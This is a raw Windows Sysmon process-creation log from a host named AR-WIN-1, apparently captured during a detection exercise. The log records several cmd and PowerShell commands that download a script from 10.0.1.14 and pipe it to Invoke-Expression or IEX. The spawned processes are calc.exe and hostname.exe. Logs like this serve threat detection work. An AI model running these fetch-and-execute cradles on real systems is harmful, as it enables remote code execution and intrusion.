154100x8000000000000000200630Microsoft-Windows-Sysmon/Operationalar-win-1-2025-10-17 14:23:38.196{5ab40fd1-516a-68f2-9194-000000003a02}6832C:\Windows\System32\calc.exe10.0.20348.1 (WinBuild.160101.0800)Windows CalculatorMicrosoft® Windows® Operating SystemMicrosoft CorporationCALC.EXE"C:\Windows\system32\calc.exe"C:\Users\Administrator\AR-WIN-1\Administrator{5ab40fd1-15fa-68ed-0a4b-5b0000000000}0x5b4b0a2HighMD5=1FD4DD58C75D6F2EDCDB337EE686231E,SHA256=4208893C871D2499F184E3F0F2554DA89F451FA9E98D95FC9516C5AE8F2B3BBD,IMPHASH=8EEAA9499666119D13B3F44ECD77A729{5ab40fd1-5169-68f2-8d94-000000003a02}6820C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{ curl http://10.0.1.14/lol.ps1 |Invoke-Expression }"AR-WIN-1\Administrator 154100x8000000000000000200629Microsoft-Windows-Sysmon/Operationalar-win-1-2025-10-17 14:23:37.933{5ab40fd1-5169-68f2-8f94-000000003a02}4992C:\Windows\System32\HOSTNAME.EXE10.0.20348.3451 (WinBuild.160101.0800)Hostname APPMicrosoft® Windows® Operating SystemMicrosoft Corporationhostname.exe"C:\Windows\system32\HOSTNAME.EXE"C:\Users\Administrator\AR-WIN-1\Administrator{5ab40fd1-15fa-68ed-0a4b-5b0000000000}0x5b4b0a2HighMD5=8E617A326FACE0B6A0986466210A93A8,SHA256=AD65BB9066F65DD694085161E40B4212955C364A689613DF19438FFF41CBED51,IMPHASH=23013EDF627646AB5226D15AC880BAD8{5ab40fd1-5169-68f2-8d94-000000003a02}6820C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{ curl http://10.0.1.14/lol.ps1 |Invoke-Expression }"AR-WIN-1\Administrator 154100x8000000000000000200628Microsoft-Windows-Sysmon/Operationalar-win-1-2025-10-17 14:23:37.836{5ab40fd1-5169-68f2-8e94-000000003a02}3516C:\Windows\System32\HOSTNAME.EXE10.0.20348.3451 (WinBuild.160101.0800)Hostname APPMicrosoft® Windows® Operating SystemMicrosoft Corporationhostname.exe"C:\Windows\system32\HOSTNAME.EXE"C:\Users\Administrator\AR-WIN-1\Administrator{5ab40fd1-15fa-68ed-0a4b-5b0000000000}0x5b4b0a2HighMD5=8E617A326FACE0B6A0986466210A93A8,SHA256=AD65BB9066F65DD694085161E40B4212955C364A689613DF19438FFF41CBED51,IMPHASH=23013EDF627646AB5226D15AC880BAD8{5ab40fd1-5169-68f2-8d94-000000003a02}6820C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{ curl http://10.0.1.14/lol.ps1 |Invoke-Expression }"AR-WIN-1\Administrator 154100x8000000000000000200625Microsoft-Windows-Sysmon/Operationalar-win-1-2025-10-17 14:23:37.195{5ab40fd1-5169-68f2-8d94-000000003a02}6820C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.20348.2849 (WinBuild.160101.0800)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXEpowershell -c "&{ curl http://10.0.1.14/lol.ps1 |Invoke-Expression }"C:\Users\Administrator\AR-WIN-1\Administrator{5ab40fd1-15fa-68ed-0a4b-5b0000000000}0x5b4b0a2HighMD5=DD6F4B7818A253887B8EA86515F6FB7D,SHA256=38F4384643B3FA0DE714D2367B712C2E0FA1C89E2CFD131AE6B831AD962B1033,IMPHASH=AFACF6DC9041114B198160AAB4D0AE77{5ab40fd1-5169-68f2-8b94-000000003a02}1896C:\Windows\System32\cmd.execmd /c powershell -c "&{ curl http://10.0.1.14/lol.ps1 |Invoke-Expression }"AR-WIN-1\Administrator 154100x8000000000000000200624Microsoft-Windows-Sysmon/Operationalar-win-1-2025-10-17 14:23:37.166{5ab40fd1-5169-68f2-8b94-000000003a02}1896C:\Windows\System32\cmd.exe10.0.20348.3932 (WinBuild.160101.0800)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.Execmd /c powershell -c "&{ curl http://10.0.1.14/lol.ps1 |Invoke-Expression }"C:\Users\Administrator\AR-WIN-1\Administrator{5ab40fd1-15fa-68ed-0a4b-5b0000000000}0x5b4b0a2HighMD5=8903A3381FBB033A45F5C2C50C175C54,SHA256=F7C237A49B96FD77C047910E13F24AAC4678A0F94BABDB06643DBA63F38D48E5,IMPHASH=D60B77062898DC6BFAE7FE11A0F8806C{5ab40fd1-4e50-68f2-1b94-000000003a02}2640C:\Windows\System32\cmd.exe"C:\Windows\system32\cmd.exe" AR-WIN-1\Administrator 154100x8000000000000000200621Microsoft-Windows-Sysmon/Operationalar-win-1-2025-10-17 14:23:32.636{5ab40fd1-5164-68f2-8894-000000003a02}396C:\Windows\System32\calc.exe10.0.20348.1 (WinBuild.160101.0800)Windows CalculatorMicrosoft® Windows® Operating SystemMicrosoft CorporationCALC.EXE"C:\Windows\system32\calc.exe"C:\Users\Administrator\AR-WIN-1\Administrator{5ab40fd1-15fa-68ed-0a4b-5b0000000000}0x5b4b0a2HighMD5=1FD4DD58C75D6F2EDCDB337EE686231E,SHA256=4208893C871D2499F184E3F0F2554DA89F451FA9E98D95FC9516C5AE8F2B3BBD,IMPHASH=8EEAA9499666119D13B3F44ECD77A729{5ab40fd1-5163-68f2-8494-000000003a02}1092C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{ curl http://10.0.1.14/lol.ps1 |IEX }"AR-WIN-1\Administrator 154100x8000000000000000200620Microsoft-Windows-Sysmon/Operationalar-win-1-2025-10-17 14:23:32.382{5ab40fd1-5164-68f2-8794-000000003a02}7384C:\Windows\System32\HOSTNAME.EXE10.0.20348.3451 (WinBuild.160101.0800)Hostname APPMicrosoft® Windows® Operating SystemMicrosoft Corporationhostname.exe"C:\Windows\system32\HOSTNAME.EXE"C:\Users\Administrator\AR-WIN-1\Administrator{5ab40fd1-15fa-68ed-0a4b-5b0000000000}0x5b4b0a2HighMD5=8E617A326FACE0B6A0986466210A93A8,SHA256=AD65BB9066F65DD694085161E40B4212955C364A689613DF19438FFF41CBED51,IMPHASH=23013EDF627646AB5226D15AC880BAD8{5ab40fd1-5163-68f2-8494-000000003a02}1092C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{ curl http://10.0.1.14/lol.ps1 |IEX }"AR-WIN-1\Administrator 154100x8000000000000000200619Microsoft-Windows-Sysmon/Operationalar-win-1-2025-10-17 14:23:32.287{5ab40fd1-5164-68f2-8694-000000003a02}5964C:\Windows\System32\HOSTNAME.EXE10.0.20348.3451 (WinBuild.160101.0800)Hostname APPMicrosoft® Windows® Operating SystemMicrosoft Corporationhostname.exe"C:\Windows\system32\HOSTNAME.EXE"C:\Users\Administrator\AR-WIN-1\Administrator{5ab40fd1-15fa-68ed-0a4b-5b0000000000}0x5b4b0a2HighMD5=8E617A326FACE0B6A0986466210A93A8,SHA256=AD65BB9066F65DD694085161E40B4212955C364A689613DF19438FFF41CBED51,IMPHASH=23013EDF627646AB5226D15AC880BAD8{5ab40fd1-5163-68f2-8494-000000003a02}1092C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{ curl http://10.0.1.14/lol.ps1 |IEX }"AR-WIN-1\Administrator 154100x8000000000000000200616Microsoft-Windows-Sysmon/Operationalar-win-1-2025-10-17 14:23:31.593{5ab40fd1-5163-68f2-8494-000000003a02}1092C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.20348.2849 (WinBuild.160101.0800)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXEpowershell -c "&{ curl http://10.0.1.14/lol.ps1 |IEX }"C:\Users\Administrator\AR-WIN-1\Administrator{5ab40fd1-15fa-68ed-0a4b-5b0000000000}0x5b4b0a2HighMD5=DD6F4B7818A253887B8EA86515F6FB7D,SHA256=38F4384643B3FA0DE714D2367B712C2E0FA1C89E2CFD131AE6B831AD962B1033,IMPHASH=AFACF6DC9041114B198160AAB4D0AE77{5ab40fd1-5163-68f2-8394-000000003a02}8440C:\Windows\System32\cmd.execmd /c powershell -c "&{ curl http://10.0.1.14/lol.ps1 |IEX }"AR-WIN-1\Administrator 154100x8000000000000000200615Microsoft-Windows-Sysmon/Operationalar-win-1-2025-10-17 14:23:31.568{5ab40fd1-5163-68f2-8394-000000003a02}8440C:\Windows\System32\cmd.exe10.0.20348.3932 (WinBuild.160101.0800)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.Execmd /c powershell -c "&{ curl http://10.0.1.14/lol.ps1 |IEX }"C:\Users\Administrator\AR-WIN-1\Administrator{5ab40fd1-15fa-68ed-0a4b-5b0000000000}0x5b4b0a2HighMD5=8903A3381FBB033A45F5C2C50C175C54,SHA256=F7C237A49B96FD77C047910E13F24AAC4678A0F94BABDB06643DBA63F38D48E5,IMPHASH=D60B77062898DC6BFAE7FE11A0F8806C{5ab40fd1-4e50-68f2-1b94-000000003a02}2640C:\Windows\System32\cmd.exe"C:\Windows\system32\cmd.exe" AR-WIN-1\Administrator 154100x8000000000000000200614Microsoft-Windows-Sysmon/Operationalar-win-1-2025-10-17 14:23:31.499{5ab40fd1-5163-68f2-8294-000000003a02}1004C:\Windows\System32\calc.exe10.0.20348.1 (WinBuild.160101.0800)Windows CalculatorMicrosoft® Windows® Operating SystemMicrosoft CorporationCALC.EXE"C:\Windows\system32\calc.exe"C:\Users\Administrator\AR-WIN-1\Administrator{5ab40fd1-15fa-68ed-0a4b-5b0000000000}0x5b4b0a2HighMD5=1FD4DD58C75D6F2EDCDB337EE686231E,SHA256=4208893C871D2499F184E3F0F2554DA89F451FA9E98D95FC9516C5AE8F2B3BBD,IMPHASH=8EEAA9499666119D13B3F44ECD77A729{5ab40fd1-5162-68f2-7e94-000000003a02}1052C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{ wget http://10.0.1.14/lol.ps1 |IEX }"AR-WIN-1\Administrator 154100x8000000000000000200613Microsoft-Windows-Sysmon/Operationalar-win-1-2025-10-17 14:23:31.232{5ab40fd1-5163-68f2-8194-000000003a02}7324C:\Windows\System32\HOSTNAME.EXE10.0.20348.3451 (WinBuild.160101.0800)Hostname APPMicrosoft® Windows® Operating SystemMicrosoft Corporationhostname.exe"C:\Windows\system32\HOSTNAME.EXE"C:\Users\Administrator\AR-WIN-1\Administrator{5ab40fd1-15fa-68ed-0a4b-5b0000000000}0x5b4b0a2HighMD5=8E617A326FACE0B6A0986466210A93A8,SHA256=AD65BB9066F65DD694085161E40B4212955C364A689613DF19438FFF41CBED51,IMPHASH=23013EDF627646AB5226D15AC880BAD8{5ab40fd1-5162-68f2-7e94-000000003a02}1052C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{ wget http://10.0.1.14/lol.ps1 |IEX }"AR-WIN-1\Administrator 154100x8000000000000000200612Microsoft-Windows-Sysmon/Operationalar-win-1-2025-10-17 14:23:31.115{5ab40fd1-5163-68f2-8094-000000003a02}2188C:\Windows\System32\HOSTNAME.EXE10.0.20348.3451 (WinBuild.160101.0800)Hostname APPMicrosoft® Windows® Operating SystemMicrosoft Corporationhostname.exe"C:\Windows\system32\HOSTNAME.EXE"C:\Users\Administrator\AR-WIN-1\Administrator{5ab40fd1-15fa-68ed-0a4b-5b0000000000}0x5b4b0a2HighMD5=8E617A326FACE0B6A0986466210A93A8,SHA256=AD65BB9066F65DD694085161E40B4212955C364A689613DF19438FFF41CBED51,IMPHASH=23013EDF627646AB5226D15AC880BAD8{5ab40fd1-5162-68f2-7e94-000000003a02}1052C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{ wget http://10.0.1.14/lol.ps1 |IEX }"AR-WIN-1\Administrator 154100x8000000000000000200609Microsoft-Windows-Sysmon/Operationalar-win-1-2025-10-17 14:23:30.505{5ab40fd1-5162-68f2-7e94-000000003a02}1052C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.20348.2849 (WinBuild.160101.0800)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXEpowershell -c "&{ wget http://10.0.1.14/lol.ps1 |IEX }"C:\Users\Administrator\AR-WIN-1\Administrator{5ab40fd1-15fa-68ed-0a4b-5b0000000000}0x5b4b0a2HighMD5=DD6F4B7818A253887B8EA86515F6FB7D,SHA256=38F4384643B3FA0DE714D2367B712C2E0FA1C89E2CFD131AE6B831AD962B1033,IMPHASH=AFACF6DC9041114B198160AAB4D0AE77{5ab40fd1-5162-68f2-7d94-000000003a02}1124C:\Windows\System32\cmd.execmd /c powershell -c "&{ wget http://10.0.1.14/lol.ps1 |IEX }"AR-WIN-1\Administrator 154100x8000000000000000200608Microsoft-Windows-Sysmon/Operationalar-win-1-2025-10-17 14:23:30.476{5ab40fd1-5162-68f2-7d94-000000003a02}1124C:\Windows\System32\cmd.exe10.0.20348.3932 (WinBuild.160101.0800)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.Execmd /c powershell -c "&{ wget http://10.0.1.14/lol.ps1 |IEX }"C:\Users\Administrator\AR-WIN-1\Administrator{5ab40fd1-15fa-68ed-0a4b-5b0000000000}0x5b4b0a2HighMD5=8903A3381FBB033A45F5C2C50C175C54,SHA256=F7C237A49B96FD77C047910E13F24AAC4678A0F94BABDB06643DBA63F38D48E5,IMPHASH=D60B77062898DC6BFAE7FE11A0F8806C{5ab40fd1-4e50-68f2-1b94-000000003a02}2640C:\Windows\System32\cmd.exe"C:\Windows\system32\cmd.exe" AR-WIN-1\Administrator 154100x8000000000000000200520Microsoft-Windows-Sysmon/Operationalar-win-1-2025-10-17 14:12:04.920{5ab40fd1-4eb4-68f2-2b94-000000003a02}1620C:\Windows\System32\curl.exe8.13.0The curl executableThe curl executablecurl, https://curl.se/curl.execurl -sS http://10.0.1.14/lol.bat C:\Users\Administrator\AR-WIN-1\Administrator{5ab40fd1-15fa-68ed-0a4b-5b0000000000}0x5b4b0a2HighMD5=90939B67542D77A32042B7C1945623B1,SHA256=3345339164CF384EFF527B6C3160FEA8D849A4231EC6CA80513E3A739E505168,IMPHASH=6C25E5A258C8C037CD5FBE44B10E696F{5ab40fd1-4e50-68f2-1b94-000000003a02}2640C:\Windows\System32\cmd.exe"C:\Windows\system32\cmd.exe" AR-WIN-1\Administrator 154100x8000000000000000200518Microsoft-Windows-Sysmon/Operationalar-win-1-2025-10-17 14:11:50.391{5ab40fd1-4ea6-68f2-2994-000000003a02}6588C:\Windows\System32\curl.exe8.13.0The curl executableThe curl executablecurl, https://curl.se/curl.execurl -sS http://10.0.1.14/lol.bat C:\Users\Administrator\AR-WIN-1\Administrator{5ab40fd1-15fa-68ed-0a4b-5b0000000000}0x5b4b0a2HighMD5=90939B67542D77A32042B7C1945623B1,SHA256=3345339164CF384EFF527B6C3160FEA8D849A4231EC6CA80513E3A739E505168,IMPHASH=6C25E5A258C8C037CD5FBE44B10E696F{5ab40fd1-4e50-68f2-1b94-000000003a02}2640C:\Windows\System32\cmd.exe"C:\Windows\system32\cmd.exe" AR-WIN-1\Administrator 154100x8000000000000000200501Microsoft-Windows-Sysmon/Operationalar-win-1-2025-10-17 14:10:14.074{5ab40fd1-4e46-68f2-1894-000000003a02}804C:\Windows\System32\curl.exe8.13.0The curl executableThe curl executablecurl, https://curl.se/curl.execurl -sS http://10.0.1.14/lol.batC:\Users\Administrator\AR-WIN-1\Administrator{5ab40fd1-15fa-68ed-0a4b-5b0000000000}0x5b4b0a2HighMD5=90939B67542D77A32042B7C1945623B1,SHA256=3345339164CF384EFF527B6C3160FEA8D849A4231EC6CA80513E3A739E505168,IMPHASH=6C25E5A258C8C037CD5FBE44B10E696F{5ab40fd1-4dfc-68f2-0c94-000000003a02}4760C:\Windows\System32\cmd.exe"C:\Windows\system32\cmd.exe" AR-WIN-1\Administrator